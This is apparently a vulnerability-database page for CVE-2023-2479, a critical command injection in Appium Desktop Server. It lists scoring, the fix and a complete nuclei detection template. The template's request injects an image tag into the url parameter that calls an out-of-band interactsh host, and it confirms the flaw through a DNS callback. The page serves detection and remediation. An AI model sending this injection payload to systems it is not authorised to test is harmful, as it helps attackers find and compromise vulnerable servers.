CVE-2023-2479· appium / appium-desktop· CWE-78
Appium Desktop Server - Remote Code Execution
criticalseverity
9.8CVSS score
22%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.
Impact
Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations.
Fix
Fixed in v1.22.3-4
How to confirm it
Send: GET {{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">
Positive when: contains "The requested resource could not be found, or a request was…" AND contains in header "application/json" AND contains in interactsh_protocol "dns" AND status 404Run it with nuclei: nuclei -id CVE-2023-2479 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-2479
info:
name: Appium Desktop Server - Remote Code Execution
author: zn9988
severity: critical
description: |
OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.
impact: |
Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations.
remediation: Fixed in v1.22.3-4
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2479
- https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
- https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe
- https://github.com/Marco-zcl/POC
- https://github.com/d4n-sec/d4n-sec.github.io
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2479
cwe-id: CWE-78
epss-score: 0.22014
epss-percentile: 0.97681
cpe: cpe:2.3:a:appium:appium-desktop:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appium
product: appium-desktop
tags: cve2023,cve,huntr,appium,oast,rce,vuln
http:
- method: GET
path:
- '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource'
- type: word
part: header
words:
- 'application/json'
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: status
status:
- 404References
- https://nvd.nist.gov/vuln/detail/CVE-2023-2479
- https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
- https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe
- https://github.com/Marco-zcl/POC
- https://github.com/d4n-sec/d4n-sec.github.io
Use this check only on systems you are authorised to test. Where the data comes from